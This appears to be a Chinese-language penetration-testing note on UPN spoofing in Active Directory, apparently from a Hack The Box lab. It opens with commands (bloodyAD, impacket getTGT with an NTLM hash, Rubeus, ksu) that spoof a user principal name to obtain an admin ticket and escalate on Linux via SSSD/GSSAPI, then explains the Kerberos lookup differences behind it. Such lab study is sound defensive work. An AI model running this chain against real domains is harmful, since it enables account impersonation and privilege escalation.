UPN Spoofing
1. 利用
获取一个NT_ENTERPRISE类型票据:
#修改UPN
bloodyAD -u john.w -k --dc-ip 172.16.20.1 --host DC-01.darkcorp.htb -d darkcorp.htb set object angela.w userPrincipalName -v angela.w.adm
#获取NT_ENTERPRIS类型的TGT
mpacket-getTGT -hashes :957246c8137069bca672dc6aa0af7c7a -principalType 'NT_ENTERPRISE' darkcorp.htb/angela.w.adm
#或者使用rubeus
.\Rubeus.exe asktgt /user:Administrator /password:SuperSecret! /principaltype:enterprise
#通过Ksu进行kerberos认证提权
KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
2. 介绍
2.1. Linux SSSD与Windows AD的keberos认证差异
改漏洞利用了Linux SSSD与 Winodws AD 的kerberos认证存在的差异
| 平台 | TGT验证 | UPN检查 | 结果 | 验证类型 |
|---|---|---|---|---|
| Windows AD | sAMAccountName userPrincipalName必须匹配 |
严格 | 重复的UPN会被拒绝 | SSPI |
| Linux SSSD | 只验证userPrincipalName |
宽松 | 伪造的UPN会被接受 | GSSPI |
将 angela.w 的用户主体名称 (UPN) 更新为 angela.w.adm,然后生成一个 TGT。用户主体名称 (UPN) 是 Active Directory 的一个属性,它提供了一个备用登录名,通常格式类似于电子邮件地址(例如,angela.w@darkcorp.htb)。它本应只是引用同一帐户的另一种方式。问题在于,通过以特定方式设置 UPN 并生成票据,Linux 会将 TGT 信任为 angela.w.adm(而不是 angela.w)
2.2. MS-KILE 客户端名称搜索算法
Active Directory 使用一种较为复杂的搜索算法来确定在域内搜索主体时,哪个用户将用于身份验证。该算法可在此处找到。
- 搜索算法会同时检查 AD 中的
samAccountName属性和userPrincipalName属性 - NT_PRINCIPAL 类型:先处理
samAccountName再处理userPrincipalName - NT_ENTERPRISE 类型:先处理
userPrincipalName再处理samAccountName
samAccountName 属性会被搜索两次。第一次使用提供的名称字符串,第二次则在名称后附加一个 $ 符号,以便于搜索计算机帐户。
2.3. GSSAPI 与 SSPI 验证
2.3.1. SSPI(Security Support Provider Interface)
SSPI 是微软开发的 API,它是 Windows 操作系统中处理身份验证的核心框架。它是 Windows 的一个私有接口,允许应用程序调用不同的安全包(SSP)(如 NTLM、Kerberos、Schannel、Negotiate)而无需关心底层协议细节
伪造UPN的NT_ENTERPRISE类型票据无法通过使用SSPI的kerberos认证
通过 SSPI 进行 Kerberos 身份验证始终会检查 PAC,而 PAC包含用户的 samAccountName 和唯一SID,以及用户在身份验证期间所属的所有组。所以
如果服务票据不包含 PAC,可以实现匿名身份验证(极端情况)
2.3.2. GSSAPI (Generic Security Service Application Program Interface)
GSSAPI 是一个 IETF 标准(RFC 2743),旨在让程序员编写通用的安全网络程序。
- 本质:它是 Unix/Linux 系统(以及跨平台软件)中对应 SSPI 的标准。
- 主要机制:在 Linux 下,GSSAPI 最常用来实现 Kerberos 认证。
- 应用:当你使用 SSH 登录并开启
GSSAPIAuthentication yes时,就是在利用这个接口实现单点登录(SSO)。
伪造UPN的NT_ENTERPRISE类型票据可以通过使用GSSAPI的kerberos认证
要求:
- 目标服务(如SSH的sshd_config) 设置了
GSSAPIAuthentication yes - GSSPI只验证了UPN
一些使用了GSSAPI的服务
reference:

